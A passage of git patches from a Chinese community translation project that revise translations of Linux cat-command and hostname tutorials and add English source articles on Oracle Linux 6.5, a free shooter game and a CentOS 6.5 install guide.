http://www.tecmint.com/10-lesser-known-effective-linux-commands-part-iv/ -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 706825766cbc89e3794d78ed5c02377e542cc92d Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 11:00:22 +0800 Subject: [PATCH 124/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9A13=20Linux?= =?UTF-8?q?=20Cat=20Command=20Examples=20To=20Manage=20(Display,Sort,Creat?= =?UTF-8?q?e=20etc)=20Files?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Manage (Display,Sort,Create etc) Files.md | 42 +++++++++---------- 1 file changed, 21 insertions(+), 21 deletions(-) rename {translated => published}/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md (72%) diff --git a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/published/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md similarity index 72% rename from translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md rename to published/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index 1b450e5a9b..97faddd8ad 100644 --- a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/published/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -1,14 +1,14 @@ -13个 Linux Cat命令管理(显示，排序，建立)文件实例 +13个Cat命令管理(显示，排序，建立)文件实例 ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) -在Linux系统中，大多数配置文件、Logs文件，甚至shell脚本都使用文本文件格式，因此,Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下这些文件的内容时，可使用一个简单的命令-cat. +在Linux系统中，大多数配置文件、日志文件，甚至shell脚本都使用文本文件格式，因此，Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下这些文件的内容时，可使用一个简单的命令-cat。 cat手册里这样描述： > cat命令读取文件内容，并输出到标准设备上面 -cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来，让我们开始学习如何使用. +cat是一条linux内置命令. 几乎所有linux发行版都内置（译注：或者说我从未听说过不内置cat命令的发行版）。接下来，让我们开始学习如何使用. ### 1. 显示文件内容 ### @@ -19,10 +19,9 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， CentOS release 5.10 (Final) Kernel \r on an \m -### 2. 在运行中显示行号 ### - -当在读取内容很多的配置文件时，在运行中显示行号将会使操作变简单，加上-n参数可以实现. +### 2. 同时显示行号 ### +当在读取内容很多的配置文件时，如果同时显示行号将会使操作变简单，加上-n参数可以实现. # cat -n /etc/ntp.conf @@ -37,9 +36,9 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， 9 restrict 127.0.0.1 10 restrict -6 ::1 -### 3. 在行首显示非空行号 ### +### 3. 在非空格行首显示行号 ### -类似于-n参数，-b也在运行中显示行号.区别在于-b只显示非空行行号. +类似于-n参数，-b也可以显示行号。区别在于-b只在非空行前显示行号。 #cat -b /etc/ntp.conf @@ -56,7 +55,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， ### 4. 显示tab制表符 ### -当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **^I** . +当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **\^I** . # cat -T /etc/hosts @@ -67,7 +66,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， ### 5. 显示换行符 ### --E参数在每行结尾标识 **$** .如下所示 : +-E参数在每行结尾使用 **$** 表示换行符。如下所示 : # cat -E /etc/hosts @@ -87,19 +86,19 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， 127.0.0.1^I^Ilocalhost.localdomain localhost$ ::1^I^Ilocalhost6.localdomain6 localhost6$ -### 7. 每页满屏显示 ### +### 7. 分屏显示 ### -当文件内容显示不适合你的屏幕, 可结合cat命令与其它命令满屏显示.使用管道符 ( | ). +当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。 # cat /proc/meminfo | less # cat /proc/meminfo | more -在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚.而more仅能使用空格向下翻屏. +在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。 ### 8. 同时查看2个文件中的内容 ### -位于/root文件夹里有两人文件取名linux及desktop，每个文件含有以下内容 : +位于/root文件夹里有两个文件取名linux及desktop，每个文件含有以下内容 : **Linux** : ubuntu, centos, redhat, mint and slackware @@ -122,7 +121,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， ### 9. 排序显示 ### -类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort**管道符对内容进行排序显示. 举例 : +类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ，通过管道符对内容进行排序显示。举例 : # cat /root/linux | sort @@ -134,7 +133,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， ### 10. 输入重定向 ### -你也可将显示结果输出重定向到屏幕或另一个文件. 只需要使用 > 符号（大于号）即可输出生成到另一个文件. +你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号（大于号）即可输出生成到另一个文件。 # cat /root/linux > /root/linuxdistro @@ -142,7 +141,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， ### 11. 新建文件 ### -Linux下有多种方法新建文件. 其中使用cat就是方法之一. +Linux下有多种方法新建文件。其中使用cat就是方法之一. # cat > operating_system @@ -151,17 +150,18 @@ Linux下有多种方法新建文件. 其中使用cat就是方法之一. Windows MacOS -当你输入cat > operating_system,它会生成一个operating_system的文件. 然后下面会显示空行. 此时你可输入内容.比如我们输入Unix, Linux, Windows and MacOS. 输入完成后, **按Ctrl-D**存盘退出cat. 此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件. +当你输入cat > operating_system，它会生成一个operating_system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS， 输入完成后，按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件。 ### 12.向文件中追加内容 ### -当你两次使用 >符时, 会将第一个文件中的内容追加到第二个文件的末尾. 举例 : +当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 : # cat /root/linux >> /root/desktop # cat /root/desktop -它会将 /root/linux的内容追加到/root/desktop文件的末尾 +它会将 /root/linux的内容追加到/root/desktop文件的末尾。 + 第二个文件的内容将会变成这样: gnome @@ -181,7 +181,7 @@ Linux下有多种方法新建文件. 其中使用cat就是方法之一. # cat < /root/linux -上面命令表示 /root/linux中的内容作为cat的输入. 屏幕上显示如下 : +上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 : ubuntu centos From a53e045fa2bcc443e6215eb9450fc1f97c8e511f Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 5 Dec 2013 11:21:56 +0800 Subject: [PATCH 125/148] =?UTF-8?q?20131205-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Unbreakable Enterprise Linux Kernel 3.8.md | 31 ++++++++++++++ ...the Best Free Multiplayer Game on Linux.md | 41 +++++++++++++++++++ 2 files changed, 72 insertions(+) create mode 100644 sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md create mode 100644 sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md diff --git a/sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md b/sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md new file mode 100644 index 0000000000..c3b060f071 --- /dev/null +++ b/sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md @@ -0,0 +1,31 @@ +Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8 +================================================================================ +**Oracle has announced a few days ago that its Oracle Linux operating system has reached version 6.5, bringing lots of new features, updated packages and several improvements over previus releases.** + +![](http://i1-news.softpedia-static.com/images/news2/Oracle-Linux-6-5-Arrives-with-Unbreakable-Enterprise-Linux-Kernel-3-8-406093-2.jpg) + +First of all, we should mention that Oracle Linux 6.5 is now powered by three separate kernels, the unbreakable enterprise kernel version 2.6.39-400.211.1.el6uek only for the x86 (32-bit) platform, the unbreakable enterprise kernel version 3.8.13-16.2.1.el6uek for both 64-bit and 32-bit architectures, and the Red Hat compatible kernel 2.6.32-431.el6 for x86 and x86_64. + +Unbreakable Enterprise Kernel Release 3 (UEK R3) introduces major improvements over UEK R2, including integrated DTrace support, device mapper support, Btrfs quota groups, Btrfs send and receive subcommands, support for replacing devices without unmounting in Btrfs, EXT4 quotas, TCP controlled delay management, TCP connection repair, STCP and TCP early retransmit, TCP fast open, and TCP small queue algorithm. + +The loop driver has been update to provide the same I/O functionality as the dm-nfs project, simply by extending the AIO interface to perform direct I/O. Moreover, the secure computing mode feature has been added, and the OpenFabrics Enterprise Distribution (OFED) 2.0 stack supports the following protocols: SRP (SCSI RDMA Protocol), iSER (iSCSI Extensions), RDS (Reliable Datagram Sockets), SDP (Sockets Direct Protocol), EoIB (Ethernet over InfiniBand), IPoIB (IP encapsulation over InfiniBand), and eIPoIB (Ethernet tunneling over InfiniBand). + +The OFED (OpenFabrics Enterprise Distribution) 2.0 stack also supports the following RDS features: AS (Async Send), APM (Automatic Path Migration), QoS (Quality of Service), SRQ (Shared Request Queue), AB (Active Bonding), and NF (Netfilter). + +Last but not least, paravirtualization support has been enabled for Oracle Linux guests on Windows Server 2008 R2 Hyper-V or Windows Server 2008 Hyper-V. + +**Download Oracle Linux 6.5 right now:** + +- [Oracle Enterprise Linux 6.5 (ISO) i386][1][iso] [3 GB] +- [Oracle Enterprise Linux 6.5 (ISO) amd64][2][iso] [3.60 GB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Oracle-Linux-6-5-Arrives-with-Unbreakable-Enterprise-Linux-Kernel-3-8-406093.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/i386/OracleLinux-R6-U5-Server-i386-dvd.iso +[2]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/x86_64/OracleLinux-R6-U5-Server-x86_64-dvd.iso \ No newline at end of file diff --git a/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md b/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md new file mode 100644 index 0000000000..29d363cc43 --- /dev/null +++ b/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md @@ -0,0 +1,41 @@ +Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux +================================================================================ +**Unvanquished, a free, open-source first-person shooter combining real-time strategy elements with a futuristic and sci-fi setting, has just received its 22nd update. Actually it's 22.1, but who's counting?** + +![](http://i1-news.softpedia-static.com/images/news2/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956-2.jpg) + +![](http://www.unvanquished.net/images/20131202-snowstation.jpg) + +Even if Unvanquished is still in its Alpha stages, the developers have added a lot of new features and the game has become a lot more playable. + +The Unvanquished Alpha 22.1 has received a few engine changes, some gameplay changes, a new map, a new version of an existing map, and more. + +Snowstation is the new map integrated in the game. According to the developer, it has a simple layout, essentially a loop, and a snow-covered outside area forming part of that loop. + +“We're now using C++ for all engine code. A few things are a bit different – some commands are changed a little or renamed and some output looks different. One which you'll probably notice while playing is marking for deconstruction – you'll need to rebind that key. The reason is that /if has lost its modifier key support; you'll need to use /modcase instead,” reads the announcement. + +### Highlight of Unvanquished Alpha 22.1: ### + +• The jetpack has been added. Users have to hold down the jump key and fly – but you can't hover anymore and you only have a limited amount of fuel; +• The reasons “under attack” messages are reported have been changed; +• Human weapons will be refilled or recharged automatically when close to a suitable building and not in use; +• Repeaters are now effectively small reactors and they will provide power even when there is no reactor around; +• FXAA now works with Mesa in OpenGL 2.1 contexts. + +More details about this amazingly-looking game can be found on the official [website][1]. Keep in mind that this is a work in progress and bugs are bound to appear. + +**Download Unvanquished Alpha 22.1 right now:** + +- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB] +- [Arch Linux package][2][binary] [0 KB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22 +[2]:http://www.unvanquished.net/download#linux \ No newline at end of file From b2c045ffb858052a4aaea010d7391dd41c53ac07 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Thu, 5 Dec 2013 14:46:34 +0800 Subject: [PATCH 126/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translated/How To Display And Set Hostname in Linux.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/translated/How To Display And Set Hostname in Linux.md b/translated/How To Display And Set Hostname in Linux.md index ea425eac18..a225b45bf3 100644 --- a/translated/How To Display And Set Hostname in Linux.md +++ b/translated/How To Display And Set Hostname in Linux.md @@ -137,7 +137,7 @@ Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令 Resolving ‘dev-machine.bris.co.id’ … Result: h_name=’dev-machine.bris.co.id’ Result: h_aliases=’dev-machine’ - Result: h_addr_list=’192.168.0.104’ + Result: h_addr_list=’192.168.0.104’ bris.co.id 感到熟悉？是的，这个结果与**dnsdomainname -v**命令是相同的，同样包含上面的内容。 @@ -147,4 +147,4 @@ via: http://linoxide.com/linux-command/display-set-hostname-linux/ 译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 2a7157082193aab689b454584ad6e463eccdbebb Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 5 Dec 2013 14:50:42 +0800 Subject: [PATCH 127/148] =?UTF-8?q?20131205-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...top installation guide with screenshots.md | 132 ++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 sources/CentOS 6.5 desktop installation guide with screenshots.md diff --git a/sources/CentOS 6.5 desktop installation guide with screenshots.md b/sources/CentOS 6.5 desktop installation guide with screenshots.md new file mode 100644 index 0000000000..8556161f87 --- /dev/null +++ b/sources/CentOS 6.5 desktop installation guide with screenshots.md @@ -0,0 +1,132 @@ +CentOS 6.5 desktop installation guide with screenshots +================================================================================ +### CentOS 6.5 released ### + +Following with the release of RHEL 6.5, [CentOS 6.5 has arrived][1] on 1st Dec and its time to play with it. For those who want to update their existing 6.4 systems to 6.5 simply use the "yum update" command and all the magic would be done. + +CentOS 6.5 has received some package updates as well as new features. Check out the [release notes][2] for detailed information. + +### Major updates ### + +> The Precision Time Protocol - previously a technology preview - is now fully supported. The following drivers support network time stamping: bnx2x, tg3, e1000e, igb, ixgbe, and sfc. +> OpenSSL has been updated to version 1.0.1. +> OpenSSL and NSS now support TLS 1.1 and 1.2. +> KVM received various enhancements. These include improved read-only support of VMDK- and VHDX-Files, CPU hot plugging and updated virt-v2v-/virt-p2v-conversion tools. +> Hyper-V and VMware drivers have been updated. +> Updates to Evolution (2.32) and Libre Office (4.0.4). + +### Download ### + +In this post we shall be installing it on the desktop. Head to either of the following urls + +[http://isoredirect.centos.org/centos-6/6.5/isos/][3] +[http://mirror.centos.org/centos/6.5/isos/][4] + +Select your machine architecture and it will then present a list of mirrors. Get into any mirror and then get the torrent file to download or the direct iso download link. There are multiple download options available like LiveCD, LiveDVD, Dvd1+2, Minimal and Netinstall. + +The minimal installer comes with a text based installer that would install CentOS with a shell and minimum software applications. Rest everything has to be installed from yum. + +The LiveCD/LiveDVD provide the desktop and gui installer and installs the CentOS system but does not provide any package selection options. + +The DvD1+2 set provide full set of all applications for those who need it. +And the netinstall would actually download the installation image and then install. + +In this post we shall use the LiveCD. It is around 650MB. +Although CentOS is used mostly on servers, having a desktop system can help to create a gui based environment with a setup similar to your server. We shall be trying out the minimal and netinstall installation methods in another post. + +### Install ### + +So now, its time to install CentOS onto your desktop system. Use either the LiveDVD or LiveCD to get it up and running fast. + +1. Put in the media and reboot. The boot menu will have many options with self explanatory names. Select Boot to get onto the Live desktop. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-1.png) + +2. Double clicks the Install icon on the desktop, to start the Anaconda installer. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-2.png) + +3. Click Next on the installer wizard. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-3.png) + +4. **Keyboard layout** - The next step would ask you to select the keyboard layout which should be USA for most english users. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-4.png) + +5. **Storage type** - After the keyboard layout, comes the option select the type of storage on which CentOS is to be installed. For local hard drives, its Basic storage. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-5.png) + +6. **Hostname** - In the next step the anaconda installer asks for a hostname. So fill it appropriately. If not sure, just enter something like mypc or hplaptop. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-6.png) + +7. **Timezone** - Then comes the timezone selection + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-7.png) + +8. **Root Password** - Next in turn is the root password which, as you know should be a strong one. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-8.png) + +9. **Formatting** - Now the wizard would like to know, how you wan't to format the storage device. If you want to format the drive yourself, then select "Custom Layout" and create partitions as needed. For the sake of this tutorial we are selecting the first option, that is to use the entire device and let CentOS format it as it likes. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-9.png) + +10. **Copying files** - Now the installer will start copying files. Nothing to do here except wait and watch. The LiveCD installer basically copies the CD image to the hard drive. You do not get any option to select packages to install or omit. Also the liveCD somes with a minimal collection of software and applications. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-10.png) + +### Post install configuration ### + +11. After the installation completes and reboots, the welcome wizard would come up which would further configure the system. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-11.png) + +12. License Agreement - Like all software centos too comes with a license that is very minimal and only a few lines. So accept it. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-12.png) + +13. **Create User** - Now its time to create a user account for yourself to be able to use the system. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-13.png) + +14. **Current date & time** - Now input the current date and time and select the option to synchronize over the network. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-14.png) + +15. **Kdump** - This is the last step of the welcome wizard that asks whether kdump should be enabled or not. It is a good idea to enable it. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-15.png) + +### Start CentOS 6.5 ### + +After the previous step, the system would be rebooted, and finally comes the login page. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-login.png) + +And after login comes the shiny new CentOS 6.5 desktop + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-desktop.png) + +Hope you enjoyed reading the installation guide. Leave your comments and questions below. + +### Resource ### + +CentOS 6.5 release notes +[http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5][5] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/centos-6-5-installation-screenshots/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lists.centos.org/pipermail/centos-announce/2013-December/020032.html +[2]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5 +[3]:http://isoredirect.centos.org/centos-6/6.5/isos/ +[4]:http://mirror.centos.org/centos/6.5/isos/ +[5]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5 \ No newline at end of file From a704672279bb3c63caa83ef3178e3d8d01209e94 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Thu, 5 Dec 2013 15:30:32 +0800 Subject: [PATCH 128/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ow To Display And Set Hostname in Linux.md | 37 +++++++++---------- 1 file changed, 17 insertions(+), 20 deletions(-) diff --git a/translated/How To Display And Set Hostname in Linux.md b/translated/How To Display And Set Hostname in Linux.md index a225b45bf3..d3ba7efe0f 100644 --- a/translated/How To Display And Set Hostname in Linux.md +++ b/translated/How To Display And Set Hostname in Linux.md @@ -2,16 +2,16 @@ Linux中如何显示和设置Hostname ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) -随着原来越多的计算机连接上网络，计算机需要有一个属性来与其他计算机区别。如同在真实世界的人，计算机也有自己属性叫hostname（主机名称） +随着连接到网络的计算机数量越来越多，每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样，计算机也有一个叫做hostname（主机名称）的属性。 ### 什么是hostname ### -从它的操作手册来看，hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname是依赖于DNS（Domain Name System域名系统）或者NIS（Network Information System网络信息系统）。 +从它的操作手册来看，hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNS（Domain Name System域名系统）或者NIS（Network Information System网络信息系统）。 ### 怎么显示hostname ### -hostname是为一个linux发行版的预安装命令。通过在控制台输入hostname，可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。 +hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname，可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。 $ hostname @@ -22,25 +22,23 @@ hostname是为一个linux发行版的预安装命令。通过在控制台输入h ### 如何设置hostname ### -Hostname当你在第一次安装你的Linux的时候已经设置好了。 就是在你安装你的Linux产品的那步时，将会询问你去填入主机名信息。然而，**你可以稍后填写它**如果你愿意。 -为了设置你的hostname，你可以使用下面的命令： +Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过，如果你愿意的话，你在之后设置也可以。 + +设置你的hostname，你可以使用下面的命令： # hostname dev-machine $ hostname dev-machine -你**需要使用root权限**或者同样的权限可以设置/改变你的hostname。#号提示你在使用root用户。上述命令告诉你的计算机设置你的hostname为**dev-machine**。如果你没有收到任何错误消息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。 +你**需要使用root权限**，或者同样的权限来设置/修改你计算机的主机名。#标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。 -使用hostname命令设置你的hostname**不是永久的**。当你重启你的计算机，你的设定将会取消。**为了永久改变**，你必须手动地修改hostname配置文件。 +使用hostname命令设置你的hostname**不是永久的**。当你重启你的计算机，你的设定将会失效。**为了永久改变**，你必须手动修改hostname配置文件。 **On Debian / Ubuntu based Linux** **基于Linux 的 Debian / Ubuntu** -你可以在下列文件夹找到这个文件， -**/etc/hostname** -或者 -**/etc/hosts** +你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件 下面是每一个文件的内容 @@ -55,17 +53,15 @@ Hostname当你在第一次安装你的Linux的时候已经设置好了。 就是 127.0.0.1 localhost 127.0.0.1 dev-machine -你将会发现修改它会立即生效而不用重启你的linux。 +你将会发现不用重启你的linux它就即刻生效。 **On RedHat / CentOS based Linux** **基于Linux的 RedHat / CentOS** -你可以在下列文件夹找到这个文件， -**/etc/hosts** -或者 -**/etc/sysconfig/networks** +你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。 下面是每一个文件的内容 + **/etc/hosts** 127.0.0.1 localhost.localdomain localhost dev-machine @@ -86,7 +82,7 @@ Hostname当你在第一次安装你的Linux的时候已经设置好了。 就是 在本篇文章，dnsdomainname命令的结果是 **bris.co.id**。 -如果你看见结果是 (**none**),那么你的机器**没有配置完整合格的域名（FQDN（Fully Qualified Domain Name））**。Dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为完整合格的域名格式。接下来一个简单的例子： +如果你看见结果是 (**none**),那么你的机器**没有配置FQDN（Fully Qualified Domain Name 完全符合标准的域名）** 。Dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为完全符合标准的域名格式。接下来一个简单的例子： **/etc/hosts** @@ -105,7 +101,7 @@ Hostname当你在第一次安装你的Linux的时候已经设置好了。 就是 ### 如何显示hostname更多细节信息### -Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令。这里有一些参数是每日操作中有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 +Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 **显示IP地址** @@ -140,11 +136,12 @@ Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令 Result: h_addr_list=’192.168.0.104’ bris.co.id -感到熟悉？是的，这个结果与**dnsdomainname -v**命令是相同的，同样包含上面的内容。 +觉得熟悉吗？没错，运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。 + -------------------------------------------------------------------------------- via: http://linoxide.com/linux-command/display-set-hostname-linux/ -译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 86a8a85cc7a4f4de812a9cf6c742b28d2102a191 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Thu, 5 Dec 2013 15:39:07 +0800 Subject: [PATCH 129/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translated/How To Display And Set Hostname in Linux.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/translated/How To Display And Set Hostname in Linux.md b/translated/How To Display And Set Hostname in Linux.md index d3ba7efe0f..82890fed54 100644 --- a/translated/How To Display And Set Hostname in Linux.md +++ b/translated/How To Display And Set Hostname in Linux.md @@ -1,8 +1,8 @@ -Linux中如何显示和设置Hostname +如何在Linux中显示和设置主机名 ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) -随着连接到网络的计算机数量越来越多，每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样，计算机也有一个叫做hostname（主机名称）的属性。 +随着连接到网络的计算机数量越来越多，每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样，计算机也有一个叫做hostname（主机名）的属性。 ### 什么是hostname ### @@ -33,7 +33,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu 你**需要使用root权限**，或者同样的权限来设置/修改你计算机的主机名。#标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。 -使用hostname命令设置你的hostname**不是永久的**。当你重启你的计算机，你的设定将会失效。**为了永久改变**，你必须手动修改hostname配置文件。 +使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机，你的设定将会失效。 **为了永久改变** ，你必须手动修改hostname配置文件。 **On Debian / Ubuntu based Linux** **基于Linux 的 Debian / Ubuntu** @@ -117,7 +117,7 @@ Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令 $ hostname -s dev-machine -* 这个命令将会产生与输入hostname同样的结果 * +*这个命令将会产生与只输入hostname同样的结果* **显示FQDN格式** From bafa82b645046b25346936d37fbbc920f39bbdc9 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 5 Dec 2013 15:50:39 +0800 Subject: [PATCH 130/148] =?UTF-8?q?20131205-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...udit Trail Tool – Last Command in 